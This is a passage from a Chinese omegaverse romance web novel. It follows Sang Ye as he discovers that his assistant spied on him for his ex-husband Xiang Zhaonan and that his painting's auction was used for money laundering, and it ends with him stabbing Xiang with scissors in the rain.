没一会沈惟岸就到了。 风尘仆仆,呼出热气,手中拎着一个白色小袋。 沈惟岸打开小袋,取出里面的东西。 是一个草莓塔甜点。 “抱歉,我来迟了。” “我听桑总说,桑小先生喜欢吃甜食,便去云顶买了他们出名的甜点。快尝尝,在网上很火的。”沈惟岸甚至帮他打开。 桑也不好意思地尝了一口,甜而不腻。 “大哥怎么连这些也说。” 沈惟岸却突然正了正神色,“不要误会,桑总不是那样的人。是我、我主动问的。” 桑也垂下眼眸,又吃了一口,问:“不会就是为了买这个才来的比我晚吧?” 沈惟岸似乎有些愧疚,丝毫不见一个年轻有为正值盛年的人的气势。 “是我没把控好时间。” 桑也没有抬头,仍在吃草莓塔。 沈惟岸情商很高,和他相处让桑也感觉很舒服。 就拿迟到这一回事来说,沈惟岸刚进来就向他表示了歉意,明说自己“来迟了”,而不是一来就找借口,说什么我给你买蛋糕去了所以来晚了,把自己一厢情愿的付出加诸于他人。 即使桑也猜到他是去买蛋糕了,也坚持是自己没把控好时间。 因此桑也也能够心旷神怡吃下这一份甜点,不会因为怀着别人为了给他买这份甜点而迟到的歉疚内耗到吃不下去,以至于白白浪费。 从沈惟岸的角度看去,便只能看见那浓密如乌云的睫羽,小巧精致的鼻头和沾着奶油的唇瓣,细细的舌尖偶尔伸出来,将勺子上的奶油卷入口中。 他想,的确和论坛里讲的一样。 等桑也把草莓塔吃了个大半,餐厅的菜也上齐了,柔和的钢琴声绵绵不绝地送入耳中。 “沈总这两个月在公司感觉怎么样?”桑也突然有些鬼灵精怪地眨了眨眼睛,“没受欺负吧?” 沈惟岸只觉得心跳漏了一拍,“没,没有。” “我可是走的桑总的后门,谁能欺负我?” 桑也笑了一下。 像花无声地绽放了。 “听大哥说,沈总父亲身体不佳,进了医院?有什么我们能帮上忙的吗?” 沈惟岸摇了摇头,“我爸就是年纪大了还闲不住,非得出去转转,上周降温,路面结了冰,比较滑,摔了一跤,去医院检查,结果又检查出些其他的毛病。” “不过倒也不是什么大病,老年人常见的一些毛病,我爸心态好,自己也看得开,医生说问题不大。” 桑也若有所思地点点脑袋,“我姥姥以前也是这样。” 两人像是找到了什么共同话题,从沈音华上了年纪还坚持耕耘每年给他送一些亲自种的家常菜,聊到桑也几个月前聘回来的几个关键技术工性格如何,态度如何,成果如何。 “小桑总慧眼如炬,选进来的人个个都尽职尽责,整宿整宿熬在实验室,劝他们回去睡觉休息,自己还不乐意,说马上就成功了。我们新桑的科研实力不容小觑啊。” 桑也抿了抿唇,有些不好意思地笑着。 好像在沈惟岸嘴里他哪哪都是优点,不是他的优点,也能强行安在他身上。 旋即,桑也找到这话里的漏洞,打趣:“也不知道这话夸的是我,还是沈总自己。” 沈惟岸也是他挖过来的。 那句话自然把他也包括进去了。 沈惟岸朗声笑着,也没否认。 不仅是夸他会聘人,又夸他有才华,最后聊到了油画拍卖上。 “我看网上消息说,这个月底有你的油画在成安拍卖行拍卖?” “也许是吧。” 桑也愣了一下,成安那边还没有把这个月的计划报告给他,不知道沈惟岸从哪得来的小道消息。 他叹了口气,之前林肯让他和相召南配合拍照,一直没放出照片,他还以为是相召南终于醒悟用舆论套牢他这方法没用,放弃了,结果前几天那照片突然就在网上流传起来。 想必在M国也是议论纷纷。 不管在哪,豪门八卦都是引爆热搜的话题。 十一月的拍卖赶不上了,最早也是十二月。成安想趁着这个热度把他留下的画拍卖了,也无可厚非。 “那提前祝小桑总的画能遇上懂画的买家。” “希望如此。” 离开的时候,桑也把剩了一点的草莓塔端在手中。 待会走出去到停车场有一小截,刚好可以吃。 甜品脑袋默默想着。 出了餐厅,呼啸的风毫不留情吹来,吃饭时解开的腰带被吹得乱飞。 桑也浑身一哆嗦,胳膊肘不自觉聚到了一起。 沈惟岸不知何时站在了他面前,说了句抱歉,轻轻掰开他的双臂,帮他把扣子扣上。 最后给腰带系了一个漂亮的蝴蝶结。 全程目不斜视,不带有半点狎呢之色。 恰此时红绿灯跳了一下,红灯亮起。 桑也感叹了一句“来不及了,好可惜。” “没什么可惜的,倒数三十秒,就是下一场。”沈惟岸安慰他。 桑也点头,目光从高高的灯移向漂泊的云,躲避的太阳,悬停的鸟儿,光秃秃的树枝,最后绕了一圈回到草莓塔上,舀了一勺。 甜滋滋的味道在口腔里划开,桑也幸福地抬起头眯了眯眼。 睁开眼,一道阴沉森寒的目光擒住他的灵魂。 斑马线的对面,相召南紧紧盯着他,眼神犹如一条原始森林中的彩色蟒蛇发现了猎物,让人呼吸一滞。 绿灯亮了。 尽管桑也不乐意走过去,但他的车毕竟在对面的停车场,不是他不乐意就能行的。 相召南一动不动,似乎等着桑也自投罗网。 刚踏上对面的人行道,桑也立马转身,朝着另一头走去。 突然手腕被人握住。 草莓塔掉在地上。 相召南的面容宛如暴风雨前的乌云,阴沉得能滴出水来。 他眼中闪烁着幽微的光,夹杂着愤怒的威严和自相矛盾、难以掩饰的恐慌。 他唇角死死抿着,唇色发白。 突如其里的意外让桑也和沈惟岸都愣了一会,等沈惟岸反应过来,立马推开相召南,捧着桑也的手腕问他怎么样。 桑也却没有心思去理会沈惟岸的担心。 他耳边传来相召南的声音,每个字眼都仿佛被利齿研磨过,既带着勃然怒气,又透露出脆弱的颤抖。 “你和他在一起了?” 桑也默不作声,他的手还在沈惟岸手中。 沈惟岸看了看相召南,恍然明白过来他就是桑也那个前夫,又看看桑也的暗淡无光的神情,同样没有说话。 半晌,桑也才说:“我和谁在一起,跟你有什么关系?” 一触即发。 身后的车道上传来急刹的刺耳摩擦声,和骂骂咧咧的诅咒。 两拨人发生了矛盾,你推我搡,打得不可开交。 相召南几乎是喘不上气来。 “你不是嫌我年龄大?”相召南鹰视的目光陡然转向沈惟岸,“他比我还大五岁。” 第55章 李由的诊所再一次迎来了这个患者。 对方一身酒红色衬衫配黑色马甲, 西服外套挽在健硕的手臂上,稳步朝他迈进来。 在商场浸淫出来的强大气质让李由一瞬间怀疑到底谁才是医生,谁是患者。 等人入座, 开始娓娓道来自己的所作所为, 袒露自己的罪恶, 揭示自己的阴暗面, 李由才找回了和接待以往任何患者一样的主动权。 “你的意思是,8月14日, 他在逛商场的时候, 你跟了全程,8月21日, 他参加酒会, 你在二楼连廊注视了两个小时,9月3日, 他出席商会, 你匿名参加坐在他身后的位置,10月11日,他和高管约会, 你临时订了隔壁的位置偷听了所有的对话……” “不久前,你又和想要搅和他和某位Beta高管的约会, 但是因为被事务绊住了脚, 去晚了点, 到的时候他们已经结束, 他手里拿着草莓甜点, 无视你走开。” “而同样的甜点你也曾为他点过,他一口没吃;他嫌弃你老了,但是约会对象比你年纪还大。所以你上去质问他, 得到的结果让你低沉了这么些天,对吧?” “他说了什么?” 相召南刚才说出去的话被李由重复了一遍,却像是被揭开了遮羞布,如一道闪电照亮了他内心中的阴暗角落,令真实的他无处遁形。 空气中弥漫着无可名状的尴尬和紧张,唇部嗫嚅,半晌才发出低落的声音: “他说,‘我找了那么多借口,相先生不可能看不透我是什么意思吧’。” “我明白,我当然明白!” “他不是觉得三十岁太老了,也不是换了口味不爱吃甜食了——”相召南从齿中挤出几声干瘪的笑声,空荡、枯燥而勉强,“他只是不喜欢我。” 李由面色庄重,并没有被相召南沉湎的悲痛带偏了思绪。 “相先生,我多次强调你要尊重他本人的意愿,不能紧逼不放,我相信你能懂这是什么意思,否则你也不会只是偷窥、跟踪,而非冲上去搅局。” “——但是,相先生,正常人给对方留自由的空间不是在暗地里监视他,掌握对方事无巨细的行程安排。” “甚至,只有心怀不轨、穷追不舍的人才会这样做,这不是正常人的行为。” 相召南艰难地回答:“我已经让步了。” “是。但让的还不够多。”李由斩钉截铁道,这次经历是个很好的机会纠正相召南异于常人的想法,机械地强迫他改变自己,用行动带动心理的改变。 “我之前就跟你讲过,松弛有度,与其背地里窥伺,心里难受,不如一段时间彻底不去关注,顺从上天的安排,偶遇了再自然地攀谈。像个正常的前任。” “我、做不到……”相召南似乎用了很大的力气,在医生面前隐藏自己只会让情势每况愈下,这与他的本心相违。 他看医生,是为了改变自己,追回桑也,而不是把人越推越远,所以他坦诚,坦诚自己肮脏的、艰难的心思。 “你还是没有把他放在平等的位置上。” 相召南愕然,“怎么会?我把他看得比谁都重要。” 李由摇头:“你要是真的把他看得那么重要,就不会三番五次忽视他的意愿,完全不考虑他的状况,沉浸在自己的追求当中。” 相召南忽地浑身微颤起来。 他似乎想到了什么。 “可我要是考虑他……他就要像鸟儿一样飞走了。” 觊觎他的人实在太多太多。 那个漂亮的Omega,在实打实掌权三年后,已经非同往昔,凭借着一骑绝尘的长相、朦胧深刻的画作、铅尘不染的气质和令人扼腕的过去,已经成了无数Beta和Omega的心仪对象。 那个Beta沈惟岸,装得人模人样,以为自己隐藏得很好,但相召南一眼就能看出他打的什么主意。 在原本的公司干得好好的,突然不要任何涨薪条件跳槽到一个新成立的企业,他不比相召南无辜! 而他的Beta身份,才是真正令相召南难以接受的关键。 桑也的确有这样的魅力,对他念念不忘的,不仅有顿时醒悟的相召南,还有那些躲在屏幕后面对桑也发表恶心言论的臭虫! 那天,他看见了什么? 相召南一想起就觉得愤怒。 【老婆好辣,一抬手腰就露出来了,不敢想这腰握起来得有多带劲。】 【宝宝有马甲线诶,天哪我都不敢想这个腰撞我的话不用进去我都会水流不止吧,我舔舔舔舔舔!】 【为什么又和xzn见面,为什么又和xzn见面,你就这么放不下那个前夫吗,你不是挖了腺体,改了爱好吗?你说你会改,原来是光明正大改偷偷摸摸是吗?宝宝你最好别让我失望……】 【宝宝的画又要拍卖了,不知道得主会不会还是那个人,不过这次宝宝似乎不会去拍卖会现场,好可惜,没有新饭吃了。】 【谁进新桑了,谁进新桑了,谁进新桑了,好东西要共享知道吗,怎么到现在还没有上班图流出,你们到底能不能行啊?】 re:【不是没人拍到,是没人发出来吧,自己在公司厕所冲晕了也不知道让大家都吃吃。】 相召南一眼望过去,满屏尽是污秽之言,对桑也的监视远超自己。 他们怎么能这样肖想桑也? 他们怎么能这样玷污桑也? 那个Beta,绝对也是其中一员! 他图谋不轨,居心不良,而桑也浑然未觉,马上就要被他蒙骗到手了…… 相召南心脏骤痛,“那些人都不是能让他好好栖息的良枝。” 李由不知道他这个结论从何而来,只说:“但那也是他自己的决定。” “他不爱你,就有足够空旷的心去爱别人,你不能要求一个想要开启新生活的人沉湎于过去,更何况是一个暗无天日的过去。” “而且,不是所有的鸟都在择木而栖,飞翔也是一些鸟的梦想。” 李由说得太直白了。 相召南对这些心知肚明,但从未有人敢这样直言不讳,他自己更是假装不知道,知道也不承认。 一朝被戳破,像突如其来的骤雨将他浇了个透彻。 突然,相召南抬起头来,露出一个诡异的笑容。 “不,他心里有我,他的画里都是我……” 李由皱眉,“你之前不是说,他告诉你那都是噱头吗。” 像倒计时结束的微波炉发出叮的一声,随后余温慢慢消散一样,相召南的笑容霎时僵住,随即僵硬地垮下去。 早知道不跟他说了。 相召南愤然离去。 S市的冬天来得又猛又急,眨眼间树枝全都变得光秃秃的,风呼啦呼啦刮着行人的面庞,通勤者一边搓手一边咒骂:“市政厅能不能种点冬天不干净得一片挡风叶子都没有的树!” 完全忘了秋天的时候还在称赞那份延迟清扫落叶的文件。 十二月中旬的时候,新桑拿下了一份订单,算是个好的开头,整个公司都洋溢着喜气。 桑守安跑完了这一个事务,回到公司,让桑也操办搞一个年会。 虽然新桑刚成立半年,但该有的流程不能少。 大家才来半年,对公司归属感不高,新桑起步的时间,必须得把人才都留住了。 搞个年会,发发福利。 桑也有经验,得心应手。 12月31日,晚上八点,年会开始了。 先是给公司所有员工发放了一件两千的羽绒服,一张一千额度的购物卡以及年终奖的通知。 有运气差的员工高高兴兴地找到桑也,说:“还好人人有份,要是抽奖,我这个三十年非酋铁定是‘感谢参与’!” 桑也说:“抽奖也有,在后面。别自弃,万一就中了呢?上天哪有这么残忍?” 事实上,桑也安排的抽奖爆率的确很高,就算是参与奖,也能带一个价值不菲的扫地机器人回家。 主打一个人人有份。 桑守安事先不知情,绕了一圈发现大家脸上都挂着藏不住的笑容,回来跟桑也说:“搞糖衣炮弹啊。” “冤大头的钱,不用白不用。” 桑也眨了眨眼,他们跟相氏签的合同以年为单位,今年剩了不少余钱。 接着年会就到了重头戏,桑也提前征集了表演节目,特意强调年轻化,有意思点,别老气横秋的。 于是表演刚一开始,场子就更加火热活跃了。 年轻人多的地方,鬼点子多。 唢呐配爵士,听得桑守安两眼一黑。 桑也拍了拍他的肩:“年轻人嘛,你习惯习惯。” 桑守安咬牙:“我算是知道你在M国都搞些了什么把戏,才把离职率拉得那么低。” 桑也坦然一笑,“谢谢夸奖。” 他正笑着,沈惟岸从身后走过来,“二位桑总?” “刚那边有人提议给咱们这些人也搞点游戏,免得让我们这些老人没有参与感,推我来叫两位桑总一块参加。”他也笑,似乎对老人这个词语毫无芥蒂。 桑守安一听:“他们还反客为主起来了?” 虽然有些令人扶额的好笑,但这样一看,的确效果不错。 “什么游戏?”桑也问。 “沙盘模拟,”沈惟岸看向桑也,“他们已经去拿电脑了。” “?” 桑也一听直发怵,他这个门外汉哪里比得过他们,这不是纯丢脸吗。 他张了张嘴,不好直接说自己怕丢脸,半晌才憋出来一句:“我年纪还小,就不参加了吧?” 说完就要调转身体朝着“年轻人群体”走过去。 桑守安脸一黑,薅着桑也的脖颈。 “想都别想。” 沙盘模拟是他们这些人入行前在学校会用的东西,说是游戏吧,又很需要专业知识和脑子,说是考试吧,又比考试有趣些。 他们都是老手,只有桑也这个半道转行进来的人还要偷摸地在网上搜沙盘模拟是干嘛的,要怎么做。 结果也毫不意外,桑也第一个出局。 其他几个高管撑了七八年,也纷纷出局,就剩下沈惟岸和桑守安角逐。 桑也一会看看这个,一会看看那个,给大哥通风报信,又给沈惟岸“指点迷津”,跟打牌时那些没上桌的看客一个样。 最后沈惟岸一个决策失误先破产,第二年桑守安不知有意无意也出了岔子,结束了游戏。 桑守安赢了。 有其他高管端着酒杯,站在桑也面前,笑他俩:“这可不作数,你们兄弟俩合伙欺负沈兄。” “我看小桑总第一年就出局,就是为了给桑总打辅助吧?老板你这欺负人。” 桑也没忍住笑了下,转头去夸沈惟岸:“不愧是顶级名校出来的。” 智商高,情商也高。 桑守安闻言拍了一下他的脑袋,把人拍得一踉跄,转身气鼓鼓看着他。 “你好意思说,一年都没撑过。” 桑也顶着一头乱蓬蓬的黑发,正要辩解,他只是想试试,谁知道试试就逝世了。 就听见沈惟岸帮他说话: “小桑总纯粹,第一年就搞降价,给顾客谋福利呢。” 桑也心里疑惑了一下,都在专心搞自己的,沈惟岸怎么知道他干了什么。 但好在他不再像以前那样心直口快,脑子还没转过来话就说出口最后闹笑话。 等他想明白了,也只是浅浅笑了一下,随后抚平自己后脑勺的头发。 厅里放着抒情柔和的小提琴曲,不少人正拿着手机对着桑也等人录像。 窗外一声雷鸣。 干燥的冬季突然下起了雨。 往年这个时候S市都不太会下雨,湿度会低到三四十去,谁也没想到今天晚上会下起雨来。 有个刚毕业的Omega研究院,还没买得起车,嘟嘟囔囔吐槽:“这下完蛋了,S市,晚上,下雨,这打车费不知道得几位数。” 桑也刚好听到这一句,拍了拍他的肩膀:“放心打车,后天来公司领路费补贴。” “真的?欧耶!小桑总万岁!我们支持你篡位!” 桑守安似乎是听见了这话,走了过来,那员工一看,马上溜得远远的。 桑也还招手示意他别那么小气。 却看见桑守安面色沉重,把他拉到角落去。 “你在成安有画拍卖?” “嗯,之前在M国的画都没带回来,交给他们处置了。” “你知不知道——”桑守安陡然抬高了音量,意识到自己的声音太大容易引起别人的主意,压低了声音,“那幅画,拍了二十一个亿!” 桑也原还浅笑着,闻言笑容一僵。 对于外行人,这或许是个天大的好消息,不仅赚得盆满钵满,名声还能更上一层楼。 然而桑家兄弟两个,没有一个好脸色。 二十一个亿。 这绝不是一个还活着的画家能拍出的高价。 林肯做了什么? 瞬间就有怀疑浮现上来。 他和桑守安对视一眼,二人从对方的眼神中确认了相互的揣测。 “你先回家,我让人去查一下,先别急。” “……好。” 桑也先上网查了一下,拍卖刚结束,还没传出多少消息,零星几个也只是在感慨拍卖的人真有钱,他暂时安心了些。 又给财务部发了个消息,跟负责人说了交通补贴的事,随后找到正在人群中的张明。 “我刚喝了点酒,你开车送我回去吧。” 张明立马放下装着可乐的酒杯,披上外套,和桑也一起走去停车库。 桑也心中不安。 突如其来的降雨让他不得不提前离场,避免自己后遗症发作在众人面前暴露丑相。 他攥着手机。 车库在负一层,空旷而静谧,灯光并不明朗,只是勉强能看清车和人。 张明走在他前面,时不时低头看一下手机,发着消息。 桑也喝了点酒,厅里气氛活跃,还没觉得有什么,这会儿出来反倒有点头脑昏蒙。 他揉了揉额头,“谈对象了?待会送我到海风府,你直接去陪陪对象吧,也不用回来做好人给他们当司机了。” 张明立马把手机一收,挤出一个笑,回头看了一眼桑也。 “没呢,我哪找得到对象,你们C国流行以名字取人,都笑我名字太老土了像农村人。” 桑也闷笑了一声。 因为喝了点酒,他的声音稍稍低哑了些。 “是吗,我觉得还行。比你原本那个一长串的名字好记。” “也就一个好记的优点了。” “别这么想,给你取名字的人听了不高兴。谁给你取的名字?” “陈晦啊。” 张明顺口就接上了。 然而话音刚落,两个人的脚步都顿住,一时间停车库内鸦雀无声。 从出口传来的细细密密的雨滴声在空谷般的车库里形成奇妙的音乐,时不时响起的鸣笛和刹车声混杂在一起。 “陈晦啊。”桑也轻轻念了念,“怎么认识的?” 陈晦是相召南那个助理,一直跟着相召南,干了好多年。 昏暗的停车库里,正巧有一盏悬明的灯挂在张明头顶。 自上而下的光亮覆盖着张明,令他的慌乱无措暴露无遗,无所遁藏。 这一刻,从前那些若有若无,时隐时现的怀疑,揣测,以为是自己的幻觉的担心,都得到了答案。 为什么回国后相召南总能找到他?为什么相召南对他的行程了如指掌? 酒吧,海风府,会厅,他像一个幽灵,无时无刻不在暗处窥伺自己。 “我,桑总,你听我解释。我们就是,呃——” 桑也低下眼眸,浓密的睫羽遮住了眼,令人看不清他的神色。 轻声问:“什么时候认识的?” 张明似乎还想辩驳,但只能张着嘴说出一些无意义的内容,他似乎也意识到这一点,最后沮丧地承认:“三年前吧。” 三年前。 三年前! 也就是说桑也刚到M国没多久,刚把张明聘成助理,或许就是某一次相召南死追不放,就让他们得了机会认识,最后,勾搭着把自己的信息出卖给相召南。 无数次,桑也以为是自己有被害妄想症,以为是自己还念念不忘起了癔症。 原来不是他的错。 桑也平静得可怕。 两道人影静静矗立在停车库,微弱的天窗光线和灯辉拉长了二人的身影。 一个直挺,却仿佛承载了千钧重量,长相精致,却无处不又显露着花朵凋零般的破碎,如同工匠花费十数年精心雕刻的雕像因为历经风霜而裂痕斑驳。 另一个佝偻着腰,肩膀低垂,头也微微前倾,在黑白的车群中,格外显眼。 轻飘的一声询问:“是相召南授意的?还是林肯的主意?” “或者两个人都不清白?” 张明沉默着,沉默着,似乎是在思考如何才能把自己卖主的事情说得不那么丑陋。 最后什么也没思索出来,自暴自弃。 “……两个都有。” “最初是相召南,他那时候每周都到M国来,但不敢见你,有时候在你家蹲守两天没见着人,又自己坐飞机回去。后来我发现了,本来是想跟陈晦说,转告相召南别再纠缠你,但是相召南不愿意放手,我看他可怜,又想着他没做出什么伤害你的事情,就把你的行程告诉他了。” “到C国后,本来我是没有再告诉他们你行程的,但是突然有一回林肯找到我,给了我一笔钱,说他过两天会跟你商量,叫我照做就行。那一次之后,就跟陈晦重新联系上了……” 桑也睫毛颤了一下,明明车库里没有雨,但在车库外不断变得急遽的雨声衬托下,张明总觉得自己在那细密的睫毛上看见了雨珠。 不知道该如何描述他现在的感受。 果然如此? 一如既往? 像站在被烈日炙烤的沙漠,桑也的每一次吐纳都是对生命的消耗。 “哦。那相召南呢,他给了你什么好处?” 淡淡的,无波无澜的。 张明立马抬起头,自证清白。 “我没有收他的任何好处!只是,那时候见他对你的确还有旧情,也知悔改,觉得他罪不至死,或许我帮一帮忙,还有转圜的余地。” “都是Alpha,我理解他出事了才醒悟的痛苦。” 荒谬至极! 若说先前的桑也心静如水,只是感到凉薄的话,张明这一番话下来,彻底激起了他心中的一池水,掀起滔天波澜。 那张为人所称赞的脸上,终于出现了一个表情,愤怒。 “你理解他?”桑也胸腔剧烈起伏,难以呼吸,“那谁来理解我?” “当初你第一次见到他堵在我门口,说的明明是叫物业把他赶走。现在你告诉我你理解他?” 张明一脸菜色,眼神飘忽。 “桑总,你别被网上那些Beta啊Omega的话骗了,Omega还是要跟Alpha在一起才合适,我知道他们对你的追捧给了你很大鼓舞和勇气,但是……” 桑也顿时喘不过气来。 他的手指尖再次不受控制地颤抖起来,很快,这种颤栗传到整个躯壳。 张明自觉理亏,连忙把人扶到车上。 桑也让他走,不用他开车。 张明站在车外注视他许久,最后还是不忍心,打开驾驶位的车门坐了进去。 “桑总,这事情确实是我做得不对,但除此之外,我哪件事情做得不好?你放心,我绝对稳稳当当把你送回家。” “下雨了,你后遗症要犯了。” 一阵冬夜里刺骨的寒风刮过。 吹过那片荒芜的土地,卷起漫天黄沙,一片悲寂。 桑也闭上眼。 难受。 晕车,后颈疼痛,浑身颤抖,麻木,道路上路灯的光芒穿过眼睑在眼中呈现出红色的画面,像流动的血,吹不散的雾。 刹车。 海风府,雨变小了。 张明低着头,打开车门,正想要搀扶桑也,被桑也躲开。 “你走吧。” “以后也不用再来了。” 桑也抵着车门,下了车,好在车就停在他家院子的门口,两步走过去就能靠在大门上。 张明不知是不是良心不安,见他路都走不稳,还想来扶他。 “阿姨待会出来,用不着你。” 桑也闭着眼,靠在门口。 僵持许久,才听见脚步声,随后车辆启动,驶离了海风府。 裹挟着细雨丝的寒风从道路上驰骋而过,呼呼的声音如同某种潜伏在地底深处随时可能冲出来的罪孽正在呼吸、孵化。 桑也抠着墙体,艰难地挪动着死一般的双腿,挤进了院子里面。 阿姨不在。 他骗张明的。 早上出门的事后,他就通知了两位阿姨,做完清洁,今天就可以回家和家里人一起过元旦了。 大哥还在宴会厅没出来。 整栋别墅,从宽阔的院子,到一格一格的房间,只有桑也一个人的呼吸声,和绵绵不绝的风声细雨声。 院子里是阿姨精心呵护的花草,角落还有一棵橘子树。 但因为时值寒冬,没什么花哨的颜色,放眼望去不是一片挂着雨霜的深绿色,就是干巴巴的褐色细枝。 雨丝如同助燃剂,让桑也身上每一寸的疼痛感爆裂般燃烧起来。 身上痛得他说不出话来。 可更痛的,是那团本该热烈鼓动的软肉。 现在,它被数颗无形的长满铁锈的钉子死死钉在骨骼上,铁红的锈迹迅速在体内游走蔓延,顶替了血液在血管里流淌。 桑也蓦地笑了一下。 成了院子里唯一盛放的花。 他从花台上取出阿姨放着的剪刀,轻轻地,慢慢地,走到一簇枝桠前。 咔嚓。 咔嚓。 一剪,再一剪。 他每次只剪一点点,不到半个指甲盖大小。 但很快,积少成多,掉落在地上的碎叶和细枝越来越多,长在主干上的却越来越少。 直到最后,整颗绿桠被他剪得七零八碎,看不出原型。 心中竟诡异地感到餍足。 手机来了消息,屏幕闪烁了一下。 有些晃眼。 桑守安的助理发来了三条信息。 【小桑总,桑总让我调查的结果出来了。】 【林肯有个儿子在多年前因赛车出事意外身亡,但他这个儿子不仅热衷于赛车,还办了个地下赛车赌场,挣了不少黑钱。】 【三年前,圣劳伦斯突然宣布要清查非法财产,受到阻力没有推行下去,今年年初的时候旧事重提,通过议会审理,正式执行。林肯儿子当初挣的那些钱还没洗白,随时可能被查出来。可能就是这个原因,他才会对您的拍卖行下手。】 【只是不明白他儿子都已经没了,又何必大费周章去帮他洗钱?就算查出来,也不可能算账算到他头上,几十个亿对他又不是什么大钱,这点很怪异,我可能得再调查调查。】 桑也一手握着剪刀,一手拿着手机。 不出所料。 他心中想。 无端感到一种果然无人真心待我的尘埃落定感。 大哥的助理不知道为什么林肯要千方百计把这钱洗白,大哥肯定也不知道,但桑也知道。 他回复:【不用查了。】 他知道。 林肯信教。 他要让他儿子清清白白地升上天堂。 于是让桑也成了他的同伙。 可明明他才是那个从不触碰红线的人。 要是真的有天堂,他才是最该享受的人! 桑也干巴巴笑了两声。 “果然天上不会掉馅饼。” 雨越来越大,雨水模糊了他的双目,令他看什么都不清,发着光的手机尤甚。 叮铃铃的电话响起。 桑也没有多的手擦去脸上的水,看不清楚那一串数字,不知道是谁。 他接通。 相召南声音传出来。 “桑也。” “桑也,你先别挂。” 被预判了。 桑也有些迟钝地想。 他的意识,和他的动作,都如同被按下0.5倍速键的影片,慢人一步。 “说说话好吗,桑也。”相召南的声音在雨声中不太清晰,也可能是桑也的耳朵出了问题。 “我想听听你的声音。” 桑也却摇头。 没人看见,但他只摇头。 没有说话。 不要。 他们都不爱他。 他才不理他们。 像幼儿园被孤立的小朋友,捏着一根小木棍,独自一人在滑滑梯的边角画圈圈。 心里委屈巴巴想着,以后再也不跟他们讲话,再也不跟他们玩了。 聒噪的声音源源不断从手上的小匣子传出来,桑也头一歪,把手机砸在了地面上。 声音竟然还在。 他似乎感到有些奇怪。 抬脚踩了又踩。 直到手机里的声音突然出现在门外。 伴随着急促的刹车声。 “桑也!” 相召南还没下车便看见桑也一个人孤零零站在院子里,没打伞,浑身湿透。 他身体本来就不好,这下淋了雨,估计又要发烧了。 加上他刚刚收到的张明的信息,相召南心里一急,连雨伞都没打,打开车门直接冲到了桑也旁边。 到了人边上才惊醒自己忘记拿雨伞来。 相召南看了看车,又看了看桑也,直直撞进那双无神、麻木的棕瞳,一时情急,把大衣脱了下来,举过头顶,将桑也拢进怀里,为他遮住雨水。 桑也身上一片冰冷,衣服全湿了,不知道在雨中站了多久。 “怎么不知道往屋里去,就算要修剪花草,也不打把伞。” 他看见了桑也手中的剪刀和地上的枝叶。 桑也一动不动。 相召南只好用手背和臂膊将大衣撑起来,腾出一只手把桑也圈进怀里,带着人走。 桑也还是不肯动。 “桑也?” 桑也抬头,被大衣遮盖的黑发青年嘴里吐出三个字:“不要你。” 相召南不自觉攥紧了拳,心中酸了一下,“别淋雨了,待会发烧。” “不要你。” “桑也,听话。” “不要你!” 相召南终于忍不住,一只手把人抱起来,“不要我你要谁?!” “沈惟岸吗?你淋半天雨怎么不见他来照顾你?不要我你还要谁?!” “就是不要你!” 桑也突然爆发出尖叫,如同惊弓之鸟,让周遭流动肆虐的风雨都为之静默下来。 相召南胸口如同被巨石压着,积蓄了沉重的一口气,还没等他调整呼吸,消解心中沉闷,身后遽然一痛! 有什么尖锐之物刺穿了他的灵魂。 相召南不可置信地低头,目光穿过层层雨帘,看向那双无辜、单纯而麻木漠然的双目。 桑也依旧保持着手握剪刀的姿势,似乎没有丝毫自己用剪刀把一个Alpha后颈最为重要的部位捅穿的自觉,只是歪了歪头,见相召南没有放开自己,轻声道:“就是不要你。” 世界瞬间凝固。 布满了神经的腺体如同一颗被针扎破的水球爆开一样,钻心的疼痛感不到两秒就蔓延至全身。 即使是常年锻炼的相召南,强忍着剧痛,也忍不住双腿发软,几乎要跪倒在地。 桑也还在他怀里,不能摔了。 相召南将人放在地上。 他的双手则圈住桑也的脖颈,整个人不受控制地前倾过去。 桑也奖励似的拔出了剪刀,血瞬间如同喷泉喷射出来,剪刀上的液体一滴一滴砸在地面上,混着雨水,砸出红色的花。 突然拔出剪刀的动作让相召南痛上加痛,头脑一片空白,几乎要晕厥过去。 他费劲地把头放在桑也肩膀上,哑然无力道:“别动,让我靠一会儿……” “不要。” 桑也说话稚嫩如同孩童,手上的动作却残忍如同屠戮者。 他抬手,剪刀再次贯穿了Alpha的腺体。 比第一次更为用力。 相召南双膝着地,整个人如同雪山滑坡。 然而他并没有就此倒下,反而伸手,顺着桑也的手臂向身后探去,最后握着桑也的手,拔出了剪刀。 在桑也不解的注视下,相召南握住剪刀沾满鲜血的刃,将它在自己的大衣上反复擦拭,直到鲜血流了满地。 “别留指纹,桑也……”毫无血色的唇在雨中翁然发出几声蚊吟般的叮嘱。 最终栽倒在地上。 第56章 护士张峰今晚加班, 接到急救电话后,跟着救护车一块来到了S市最昂贵的别墅区。 救护车驶进时,一幢幢精致典雅的独栋静立在雨中, 他还和同事感慨, 他们这些干医护的, 从秦始皇时代开始打工也攒不到买海风府别墅的钱。 结果车一停, 他就看见了满地的血。 触目惊心。 让他刚刚生出的一点艳羡顿时消失得一干二净。 “要是住大房子就要被捅成这样,那还是我的狗窝比较好。” 他初步检查了一下, 是Alpha身边的剪刀对腺体造成了两次贯穿伤, 伤势严重,必须马上送进医院做手术, 否则这个Alpha的腺体就要保不住了。 他和同事搭手, 把人抬上担架,推进救护车。 也不知道为什么下这么大雨病人身边那个人也不把他抬到屋内去, 人都快冻死了。 那个人……? 张峰骤然回头, 只见他还安静地站着。 突然心中生出一点恐惧。 他轻轻撞了下同事的胳膊,“那个人是不是刚才就那样,一直站着, 不说话,也不动, 伞也不打, 你说他是人……还是鬼啊?” 同事翻了个白眼, 忙着用纱布和止血钳帮人止血。 张峰心中恐慌, 但又不知为何, 不受控制似的,跳下车,朝那个人喊了句:“你上来吗?” 那个人没动, 不知道是不想上来还是没听见。 张峰等了十几秒,眼见救护车就要启动,他也管不了那么多,自己转身上了车。 正要关上车门,却见那个人出现在了他面前。 张峰关门的手一顿,让人上了车。 返程的途中,张峰和同事忙着给病人做一些简单的急救,杀菌消毒,把衣服剪掉,方便待会直接推进手术室动手术。 但他的眼睛时不时就往这个跟着上车的人身上飘。 奇了怪了。 他这时还没有怀疑是眼前这个人把Alpha的腺体捅伤了。 毕竟,无论从身高、体型还是面相上来看,这个不说话的人看起来都没那样的本事伤害到一个健硕Alpha的腺体。 这种看起来瘦瘦弱弱的Omega心嘴硬了。受了情伤的Alpha自残来挽留他们,并不罕见。 下车之后,医院其他的医护人员立即把人推走。 张峰摘下占了血的手套,觑了觑站在雨里的人,“别淋雨啊,进来站站。” 那人仿佛得了什么指令,这才慢慢地走进来。 